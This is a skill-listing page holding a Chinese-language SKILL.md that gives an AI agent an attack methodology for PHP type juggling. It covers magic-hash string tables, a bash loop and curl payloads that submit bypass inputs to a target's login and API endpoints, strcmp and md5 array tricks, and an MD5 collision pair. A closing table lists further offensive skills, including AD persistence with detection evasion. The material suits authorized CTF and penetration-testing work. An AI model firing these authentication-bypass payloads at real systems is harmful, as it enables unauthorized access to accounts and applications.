php-type-juggling

$npx mdskill add wgpsec/AboutSecurity/php-type-juggling

Exploit PHP loose comparisons and magic hash vulnerabilities.

  • Bypass authentication by exploiting weak type casting and MD5 collisions.
  • Detects PHP 5.x versions, loose equality operators, and hash leaks.
  • Generates magic strings that evaluate to zero via scientific notation.
  • Executes automated payloads against login forms and API endpoints.

SKILL.md

.github/skills/php-type-jugglingView on GitHub ↗
---
name: php-type-juggling
description: "PHP 类型杂耍(Type Juggling)和 Magic Hash 攻击方法论。当目标是 PHP 应用且存在密码比较、哈希校验、认证逻辑时使用。当看到 PHP `==` 松散比较、MD5/SHA1 哈希校验、strcmp 比较、JSON 输入处理、is_numeric 检查时必须使用。当错误登录泄露了输入的 MD5 哈希值时,这是 Magic Hash 的强信号,立即使用。CTF/渗透中 PHP 认证绕过最常见的漏洞类型之一。即使只是看到 PHP 5.x 或响应中包含哈希值,也应考虑使用此 skill"
metadata:
  tags: "php,type juggling,magic hash,loose comparison,strcmp,md5,sha1,0e,松散比较,认证绕过,弱类型"
  category: "exploit"
---

# PHP Type Juggling 攻击方法论


PHP 的弱类型系统是其最大的安全隐患之一。`==` 运算符在比较前会做类型转换,导致看似不同的值被判定为相等。

## Phase 0: 快速识别(10 秒判断)

看到以下任意信号,立即怀疑 type juggling:

| 信号 | 判断 |
|------|------|
| PHP 5.x(尤其 5.6 及以下) | 高概率,`==` 随处可见 |
| 错误响应中泄露了输入的 MD5/SHA1 哈希 | **极强信号** → Magic Hash |
| 登录/认证页面,PHP 后端 | 检查是否 `==` 比较 |
| JSON API 接受 PHP 后端处理 | 可以发送 `true`/`0`/`[]` 类型 |
| 源码中出现 `==`、`strcmp`、`md5()` | 直接利用 |
| "password incorrect" 但泄露哈希格式 | Magic Hash 场景 |

## Phase 1: Magic Hash 攻击(最常见场景)

### 原理

PHP 中 `"0e123456" == "0e789012"` 结果为 `true`。

因为 PHP 把 `0e` 开头的纯数字字符串当作科学计数法:`0 × 10^123456 = 0`,所以两边都等于 `0`。

当后端代码是:
```php
if (md5($user_input) == $stored_hash) { // 注意是 == 不是 ===
    // 认证成功
}
```
只要 `$stored_hash` 的 MD5 恰好是 `0e` 开头纯数字,攻击者只需输入任何一个已知 MD5 也是 `0e` 开头纯数字的字符串。

### Magic Hash 字符串速查表

**MD5 Magic Strings**(输入这些值,其 MD5 以 `0e` 开头且后跟纯数字):

| 输入字符串 | MD5 值 |
|-----------|--------|
| `240610708` | `0e462097431906509019562988736854` |
| `QNKCDZO` | `0e830400451993494058024219903391` |
| `aabg7XSs` | `0e087386482136013740957780965295` |
| `aabC9RqS` | `0e041022518165728065344349536617` |
| `s878926199a` | `0e545993274517709034328855841020` |
| `s155964671a` | `0e342768416822451524974117254469` |
| `s214587387a` | `0e848240448830537924465865611904` |
| `0e215962017` | `0e291242476940776845150308577824` |

**SHA1 Magic Strings**:

| 输入字符串 | SHA1 值 |
|-----------|---------|
| `aaroZmOk` | `0e66507019969427134894567494305185566735` |
| `aaK1STfY` | `0e76658526655756207688271159624026011393` |
| `aaO8zKZF` | `0e89257456677279068558073954252716165668` |
| `aa3OFF9m` | `0e36977786278517984959260394024281014729` |

### 实战步骤

1. **确认场景**:看到密码验证 + PHP,尤其是错误时泄露 MD5 哈希
2. **验证 `0e` 判断**:如果泄露的"正确密码的哈希"恰好是 `0e[纯数字]`,那 100% 是 Magic Hash
3. **尝试所有 Magic String**:按上表逐个提交

```bash
# 批量测试 MD5 magic strings
for pw in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "s878926199a" "s155964671a" "s214587387a" "0e215962017"; do
  echo "=== Testing: $pw ==="
  curl -s -X POST "$TARGET/index.php" -d "password=$pw" | grep -i "flag\|success\|welcome\|correct\|vault"
done
```

4. **如果正确密码哈希未知**,直接全部尝试——只要后端用 `==` 比较 MD5,任意两个 magic string 互相等价

> **关键认知**:不需要知道目标密码或目标哈希是什么。只要后端用了 `md5($input) == md5($stored)` 且 `$stored` 的 MD5 恰好是 `0e` 开头,任何 magic string 都能通过。

## Phase 2: 直接类型杂耍(非哈希场景)

### `==` 松散比较表(关键组合)

```
0 == "any_string"     → true  (PHP 5.x; PHP 8 已修复)
0 == ""               → true  (PHP 5.x)
0 == null             → true
"" == null            → true
false == ""           → true
false == 0            → true
false == null         → true
"0" == false          → true
"0" == null           → false (注意!)
1 == "1abc"           → true  (PHP 5.x)
"php" == 0            → true  (PHP 5.x)
```

### JSON 类型注入

当 PHP 接收 JSON 输入时,可以直接发送非字符串类型绕过比较:

```bash
# 原始请求(字符串密码)
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"wrong"}'

# 类型杂耍攻击:发送 true (bool)
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# 类型杂耍攻击:发送 0 (int)
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# 类型杂耍攻击:发送空数组
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'
```

**原理**:`true == "any_non_empty_string"` 在 PHP 中为 `true`。

### strcmp 绕过

```php
// 后端代码
if (strcmp($user_input, $secret) == 0) { ... }
```

`strcmp` 接收到数组参数时返回 `NULL`,而 `NULL == 0` 为 `true`:

```bash
# 表单参数发送数组
curl -X POST "$TARGET/login.php" -d "password[]=anything"

# JSON 发送数组
curl -X POST "$TARGET/api/auth" -H "Content-Type: application/json" \
  -d '{"password":[]}'
```

### is_numeric 绕过

```php
if (is_numeric($input) && $input > 9999) { ... }
```

十六进制字符串在 PHP 5.x 被 `is_numeric` 识别为数字:
```bash
# 0x270F = 9999
curl "$TARGET/check.php?input=0x270F"
```

## Phase 3: 哈希比较绕过(进阶)

### md5/sha1 数组绕过

`md5()` 和 `sha1()` 接收数组参数时返回 `NULL`,所以:

```php
// 后端
if (md5($_GET['a']) == md5($_GET['b'])) { ... }
```

```bash
# 两边都传数组 → md5(array) = NULL → NULL == NULL → true
curl "$TARGET/check.php?a[]=1&b[]=2"
```

### md5 碰撞(`===` 严格比较绕过)

当后端用 `===` 比较时,magic hash 和数组技巧都无效,需要真正的 MD5 碰撞:

```bash
# 经典 MD5 碰撞对(URL 编码的二进制数据)
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

curl "$TARGET/check.php" --data-urlencode "a=$a" --data-urlencode "b=$b"
```

## Phase 4: PHP 版本差异

| 行为 | PHP 5.x | PHP 7.x | PHP 8.0+ |
|------|---------|---------|----------|
| `0 == "string"` | `true` | `true` | **`false`** |
| `"0e123" == "0e456"` | `true` | `true` | `true`(仍然!) |
| `strcmp([], "str")` | `NULL` + warning | `NULL` + warning | `TypeError` |
| `md5([])` | `NULL` + warning | `NULL` + warning | `TypeError` |
| `"0x1A" == 26` | `true` | **`false`** | `false` |
| `json_decode` 类型保留 | ✅ | ✅ | ✅ |

> **重要**:`0e` Magic Hash 在 PHP 8.x 中仍然有效!因为两边都是字符串,`==` 仍然会做科学计数法转换。

## 决策树

```
看到 PHP 认证/比较逻辑?
├─ 错误响应泄露了 MD5 哈希?
│   ├─ 哈希是 0e[纯数字] → 100% Magic Hash,直接用 magic string 表
│   └─ 哈希不是 0e 开头 → 可能不是 type juggling,但仍尝试 magic strings(也许存储密码不同)
├─ 接受 JSON 输入?
│   └─ 尝试 true/0/[]/null → JSON type juggling
├─ 表单 POST 参数?
│   └─ 尝试 password[]=xxx → strcmp 绕过 / md5 数组绕过
├─ GET 参数哈希比较?
│   └─ 尝试 a[]=1&b[]=2 → md5/sha1 数组绕过
└─ 源码可读?
    ├─ 看到 == → 对应利用方式
    └─ 看到 === → 需要真碰撞或其他漏洞
```

## 注意事项

- Magic Hash 攻击不需要知道目标密码,只需要后端使用 `==` 比较哈希
- `0e` 后面必须全是数字才会触发科学计数法转换(`0e1a2b` 不会)
- 优先尝试 `240610708` 和 `QNKCDZO`,这两个是最经典的
- PHP 8.0 修复了 `0 == "string"` 但没修复 `"0e..." == "0e..."` magic hash
- 渗透报告中标记为 "CWE-1025: Comparison Using Wrong Factors"

## 深入参考

- Type Juggling 利用 payload 与登录绕过技术 → [references/type-juggling-exploitation.md](references/type-juggling-exploitation.md)

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|